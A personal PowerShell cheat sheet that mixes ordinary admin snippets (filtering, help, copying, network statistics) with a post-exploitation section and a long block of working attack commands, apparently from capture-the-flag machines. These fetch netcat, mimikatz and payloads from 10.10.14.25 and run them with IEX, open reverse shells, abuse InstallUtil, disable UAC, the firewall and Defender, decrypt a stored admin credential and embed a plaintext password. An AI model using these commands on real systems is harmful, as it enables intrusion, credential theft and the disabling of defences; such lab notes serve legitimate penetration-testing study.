Skip to content

Powershell to sort

Multiple and/or conditions:

Invoke-Command -computername SERVERNAME { Get-ChildItem -path E:\dfsroots\datastore2\public} | Where-Object {{ $_.extension-match "xls" -or $_.extension-match "xlk" } -and  { $_.creationtime -ge "06/01/2014"}}

Custom Property (named calculation)

@{Name = 'Name'; Expression = {$_.Name}}
Get-Service | Select-Object -Property @{Name = 'Name'; Expression = {$_.Name}}

file name from path:

$outputPath = "D:\Server\User\CUST\MEA\Data\In\Files\CORRECTED\CUST_MEAFile.csv"
$outputFile = Split-Path $outputPath -leaf
Command Description Example
Get-Acl Gets the security descriptor for a resource, such as a file or registry key.
Get-NetTCPConnection Gets TCP connections.
Get-SmbShare Retrieves the SMB shares on the computer.
Get-Unique
Measure-Object Calculates the numeric properties of objects, and the characters, words, and lines in string objects, such as files of text. get-alias \| measure \| % { $_.Count }
Sort-Object
Where-Object Selects objects from a collection based on their property values.

See listening TCP Ports:

Get-NetTCPConnection
Get-NetTCPConnection - State established
## see properties:
Get-NetTCPConnection | Get-Member -MemberType property | Format-Table name, definition -AutoSize

Running commands as another user:

$username = "username"
$password = "password"
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential($username, $securePassword)
$Session = New-PSSession -Credential $credential
icm -Session $Session -ScriptBlock { COMMAND_TO_RUN }


$username = "username"
$password = "password"
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword
Invoke-Command -Credential $credential -ComputerName COMPUTERNAME -ScriptBlock { COMMAND_TO_RUN }

Run command in background:

Start-Process -NoNewWindow command_to_run

# alternatively, create a function
function bg() {Start-Process -NoNewWindow @args}

Check Powershell version:

Get-Host | Select-Object Version

PowerShell for Pen-Tester Post-Exploitation

Conduct a ping sweep:

PS C:\> 1..255 | % {echo "10.10.10.$_"; ping -n 1 -w 100 10.10.10.$_ | Select-String ttl}

Conduct a port scan:

PS C:\> 1..1024 | % {echo ((new-object Net.Sockets.TcpClient).Connect("10.10.10.10",$_)) "Port $_ is open!"} 2>$null

Fetch a file via HTTP (wget in PowerShell):

PS C:\> (New-Object System.Net.WebClient).DownloadFile("http://10.10.10.10/nc.exe","nc.exe")

Find all files with a particular name:

PS C:\> Get-ChildItem "C:\Users\" -recurse -include *passwords*.txt

Get a listing of all installed Microsoft Hotfixes:

PS C:\> Get-HotFix

Navigate the Windows registry:

PS C:\> cd HKLM:\
PS HKLM:\> ls

List programs set to start automatically in the registry:

PS C:\> Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\run

Convert string from ascii to Base64:

PS C:\> [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes("PS FTW!"))

List and modify the Windows firewall rules:

PS C:\> Get-NetFirewallRule -all
PS C:\> New-NetFirewallRule -Action Allow -DisplayName LetMeIn -RemoteAddress 10.10.10.25

Cmdlets

Cmdlets are small scripts that follow a dash-separated verb-noun convention such as "Get-Process".

Similar Verbs with Different Actions: - New- Creates a new resource - Set- Modifies an existing resource - Get- Retrieves an existing resource - Read- Gets information from a source, such as a file - Find- Used to look for an object - Search- Used to create a reference to a resource - Start- (asynchronous) begin an operation, such as starting a process - Invoke- (synchronous) perform an operation such as running a command

Parameters: Each verb-noun named cmdlet may have many parameters to control cmdlet functionality.

Objects: The output of most cmdlets are objects that can be passed to other cmdlets and further acted upon. This becomes important in pipelining cmdlets.

Finding Cmdlets

To get a list of all available cmdlets:

PS C:\> Get-Command

Get-Command supports filtering. To filter cmdlets on the verb set:

PS C:\> Get-Command Set*
PS C:\> Get-Command -Verb Set

Or on the noun process:

PS C:\> Get-Command *Process
PS C:\> Get-Command -Noun process

Getting Help

To get help with help:

PS C:\> Get-Help

To read cmdlet self documentation:

PS C:\> Get-Help <cmdlet>

Detailed help:

PS C:\> Get-Help <cmdlet> -detailed

Usage examples:

PS C:\> Get-Help <cmdlet> -examples

Full (everything) help:

PS C:\> Get-Help <cmdlet> -full

Online help (if available):

PS C:\> Get-Help <cmdlet> -online

Cmdlet Aliases

Aliases provide short references to long commands.

To list available aliases (alias alias):

PS C:\> Get-Alias

To expand an alias into a full name:

PS C:\> alias <unknown alias>
PS C:\> alias gcm

Efficient PowerShell

Parameter shortening:

PS C:\> ls -recurse is equivalent to:
PS C:\> ls -r

5 PowerShell Essentials

Concept What’s it Do? A Handy Alias
PS C:\> Get-Help [cmdlet] -examples Shows help & examples PS C:\> help [cmdlet] -examples
PS C:\> Get-Command Shows a list of commands PS C:\> gcm *[string]*
PS C:\> Get-Member Shows properties & methods PS C:\> [cmdlet] \| gm
PS C:\> ForEach-Object { $_ } Takes each item on pipeline and handles it as $_ PS C:\> [cmdlet] \| % { [cmdlet] $_ }
PS C:\> Select-String Searches for strings in files or output, like grep PS C:\> sls -path [file] -pattern [string]
Pipelining, Loops, and Variables

Piping cmdlet output to another cmdlet:

PS C:\> Get-Process | Format-List -property name

ForEach-Object in the pipeline (alias %):

PS C:\> ls *.txt | ForEach-Object {cat $_}

Where-Object condition (alias where or ?):

PS C:\> Get-Process | Where-Object {$_.name -eq "notepad"}

Generating ranges of numbers and looping:

PS C:\> 1..10
PS C:\> 1..10 | % {echo "Hello!"}

Creating and listing variables:

PS C:\> $tmol = 42
PS C:\> ls variable:

Examples of passing cmdlet output down pipeline:

PS C:\> dir | group extension | sort
PS C:\> Get-Service dhcp | Stop-Service -PassThru | Set-Service -StartupType Disabled

https://docs.microsoft.com/en-us/powershell/scripting/samples/using-format-commands-to-change-output-view?view=powershell-6

Get-Process -Name powershell | Format-List -Property *
Get-Process -Name powershell | Format-List -Property ProcessName,FileVersion


Get-Command -Verb Format | Format-Wide
Get-Command -Verb Format | Format-Wide -Property Noun -Column 1

https://www.thomasmaurer.ch/2011/03/powershell-search-for-string-or-grep-for-powershell/

"Grep" in Powershell

| findstr -i <searchterm>

http://woshub.com/port-forwarding-in-windows/ Windows port fwd:

netsh interface portproxy add v4tov4 listenport=4422 listenaddress=192.168.1.111 connectport=80 connectaddress=192.168.0.33

To remove forwarding:

netsh interface portproxy delete v4tov4 listenport=4422 listenaddress=192.168.1.111
netsh advfirewall firewall add rule name=”forwarded_RDPport_3340” protocol=TCP dir=in localip=10.1.1.110  localport=3340 action=allow

Powershell & cmd

Find running processes and their port number http://blogs.microsoft.co.il/scriptfanatic/2011/02/10/how-to-find-running-processes-and-their-port-number/

function Get-NetworkStatistics
{
    $properties = 'Protocol','LocalAddress','LocalPort'
    $properties += 'RemoteAddress','RemotePort','State','ProcessName','PID'

    netstat -ano | Select-String -Pattern '\s+(TCP|UDP)' | ForEach-Object {

        $item = $_.line.split(” “,[System.StringSplitOptions]::RemoveEmptyEntries)

        if($item[1] -notmatch '^\[::')
        {
            if (($la = $item[1] -as [ipaddress]).AddressFamily -eq 'InterNetworkV6')
            {
               $localAddress = $la.IPAddressToString
               $localPort = $item[1].split('\]:')[-1]
            }
            else
            {
                $localAddress = $item[1].split(':')[0]
                $localPort = $item[1].split(':')[-1]
            }

            if (($ra = $item[2] -as [ipaddress]).AddressFamily -eq 'InterNetworkV6')
            {
               $remoteAddress = $ra.IPAddressToString
               $remotePort = $item[2].split('\]:')[-1]
            }
            else
            {
               $remoteAddress = $item[2].split(':')[0]
               $remotePort = $item[2].split(':')[-1]
            }

            New-Object PSObject -Property @{
                PID = $item[-1]
                ProcessName = (Get-Process -Id $item[-1] -ErrorAction SilentlyContinue).Name
                Protocol = $item[0]
                LocalAddress = $localAddress
                LocalPort = $localPort
                RemoteAddress =$remoteAddress
                RemotePort = $remotePort
                State = if($item[0] -eq 'tcp') {$item[3]} else {$null}
            } | Select-Object -Property $properties
        }
    }
}

Get-NetworkStatistics | Format-Table

To get all processes running on a local port 80:

Get-NetworkStatistics | Where-Object {$_.LocalPort -eq 80} | Format-Table

Or find a connection information by filtering on ProcessName:

Get-NetworkStatistics | Where-Object {$_.ProcessName -eq 'proc_name'} | Format-Table

Download file using certutil

certutil.exe -urlcache -split -f http://URL/PowerUp.ps1 C:\Users\Public\Documents\PowerUp.ps1

Copy folder structure recursively

robocopy "PATH\TO\COPY\FROM" "PATH\TO\COPY\TO" /e /xf *.*

To copy everything in a folder hierarchy

Copy-Item $source $dest -Recurse -Force

To copy the hierarchy you can try:

$source = "C:\ProdData"
$dest = "C:\TestData"
Copy-Item $source $dest -Filter {PSIsContainer} -Recurse -Force

To flatten a file structure you can try:

$source = "C:\ProdData"
$dest = "C:\TestData"
New-Item $dest -type directory
Get-ChildItem $source -Recurse | `
    Where-Object { $_.PSIsContainer -eq $False } | `
    ForEach-Object {Copy-Item -Path $_.Fullname -Destination $dest -Force}

Get Short Path:

cmd /c for %A in ("file/path") do @echo %~sA

# alternatively
dir /x

PowerShell - zip files:

Compress-Archive -Path ./filename, ./filename2 -CompressionLevel Optimal -DestinationPath ./output.zip
Runas /env /user:SS64Dom\jDoe
Runas /user:helpline\leo "./nc.exe -vn 10.10.14.25 9002 -e cmd.exe"
iwr -Uri http://10.10.14.25/RunAs.exe -OutFile C:\windows\system32\spool\drivers\color\RunAs.exe
C:\windows\system32\spool\drivers\color\RunAs helpline\leo 123 C:\windows\system32\spool\drivers\color\nc.exe -vn 10.10.14.25 9002 -e cmd.exe

icacls user.txt /reset

New-Object -TypeName PSCredential

$pass = Get-Content "C:\Users\leo\Desktop\admin-pass.xml" | ConvertTo-SecureString

$username = 'user'
$password = 'password'
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force
$username = "Administrator"
$pass = Get-Content "C:\Users\leo\Desktop\admin-pass.xml" | ConvertTo-SecureString
$credential = New-Object System.Management.Automation.PSCredential $username, $pass
$Session = New-PSSession -Credential $credential
icm -Session $Session -ScriptBlock { C:\windows\system32\spool\drivers\color\nc.exe -vn 10.10.14.25 9001 -e cmd.exe}
$username = "Administrator"
$pass = Get-Content "C:\Users\leo\Desktop\admin-pass.xml" | ConvertTo-SecureString
$credential = New-Object System.Management.Automation.PSCredential $username, $pass
$credential.GetNetworkCredential() | fl *
$username = "batman"
$password = "Zx^#QZX+T!123"
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential($username, $securePassword)
PS C:\Users\Alfred\AppData\Local\Temp> $Session = New-PSSession -Credential $credential
$Session = New-PSSession -Credential $credential
PS C:\Users\Alfred\AppData\Local\Temp> icm -Session $Session -ScriptBlock { iwr http://10.10.14.25/nc.exe -OutFile C:\Users\Batman\Desktop\nc.exe; C:\Users\Batman\Desktop\nc.exe -vn 10.10.14.25 9002 -e cmd.exe}
icm -Session $Session -ScriptBlock { iwr http://10.10.14.25/nc.exe -OutFile C:\Users\Batman\Desktop\nc.exe; C:\Users\Batman\Desktop\nc.exe -vn 10.10.14.25 9002 -e cmd.exe}

icm -Session $Session -ScriptBlock { C:\windows\system32\spool\drivers\color\nc.exe -vn 10.10.14.25 9001 -e cmd.exe}

iwr http://10.10.14.25/psby.exe -OutFile C:\Users\alice\AppData\Local\Temp\psby.exe


C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U C:\Users\alice\AppData\Local\Temp\psby.exe

PS helpline\alice@HELPLINE Temp> copy -Path "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe" -Destination "C:\Users\alice\AppData\Local\Temp\a.exe"

C:\Users\alice\AppData\Local\Temp\a.exe /logfile= /LogToConsole=true /U C:\Users\alice\AppData\Local\Temp\psby.exe
cmd /c powershell.exe -exec bypass -c "iwr http://10.10.14.25/nc.exe -OutFile ./nc.exe; ./nc.exe -vn 10.10.14.25 9002 -e cmd.exe"

powershell IEX (Invoke-WebRequest -Uri "http://10.10.14.25/nc.exe" -outfile "C:\windows\system32\spool\drivers\color\nc.exe")
powershell IEX (C:\windows\system32\spool\drivers\color\nc.exe -vn 10.10.14.25 9002 -e cmd.exe)
reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
NetSh Advfirewall set allprofiles state off
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
cd\; cscript windows\system32\scregedit.wsf /ar 0

Set-MpPreference -DisableRealtimeMonitoring $true
cipher /U /N
Invoke-WebRequest -Uri http://10.10.14.25/prometheus.exe -OutFile C:\Users\Batman\AppData\Local\Temp\prometheus.exe


Invoke-WebRequest -Uri http://10.10.14.25/psby.exe -OutFile C:\Users\Batman\AppData\Local\Temp\psby.exe


powershell.exe -NoP -NonI -Exec Bypass IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.25/payload.ps1');

iwr -Uri http://10.10.14.25/payload.exe -OutFile "C:\windows\system32\spool\drivers\color\payload.exe"
iwr('http://10.10.14.25/payload.exe')|iex


powershell.exe -NoP -NonI -Exec Bypass IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.25/powershell_attack.txt');

iwr -Uri http://10.10.14.25/mimikatz.exe -OutFile "C:\windows\system32\spool\drivers\color\mimikatz.exe"

wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\" |findstr /i /v """

icacls

largebackup.ps1

$path = "C:\Program Files\Microsoft SQL Server\MSSQL12.SQLEXPRESS\MSSQL\backup"
$size = 10MB
$limit = 5
$Extension = "*.bak"
$largeSizefiles = get-ChildItem -path $path -recurse -ErrorAction "SilentlyContinue" -include $Extension | ? { $_.GetType().Name -eq "FileInfo" } | where-Object {$_.Length -gt $size} | sort-Object -property length -Descending | Select-Object Name, @{Name="SizeInMB";Expression={$_.Length / 1MB}},@{Name="Path";Expression={$_.directory}} -first $limit
$largeSizefiles
c:\windows\system32\windowspowershell\v1.0\powershell -f sherlock.ps1
$r=new-object system.net.webclient;$r.downloadfile('http://192.168.1.128/zz.txt','zz.yzy')
$u = 'DOMAIN\USER'
$p = convertto-securestring 'PASSWORD' -asplain -force
$c = new-object system.management.automation.pscredential($u, $p)
start-process 'Powershell.exe' -Credential $c -ArgumentList 'ARGS'

https://superuser.com/questions/1259900/how-to-colorize-the-powershell-prompt https://docs.microsoft.com/en-us/windows/console/console-virtual-terminal-sequences

function prompt  
{  
    "PS $($executionContext.SessionState.Path.CurrentLocation)$('>' * ($nestedPromptLevel + 1)) "  
}
function prompt  
{  
    $ESC = [char]27
    "$ESC[96mPS $($executionContext.SessionState.Path.CurrentLocation)$('>' * ($nestedPromptLevel + 1)) $ESC[0m"  
}

function Set-ConsoleColor ($bc, $fc) { $Host.UI.RawUI.BackgroundColor = $bc $Host.UI.RawUI.ForegroundColor = $fc Clear-Host } Set-ConsoleColor 'black' 'black'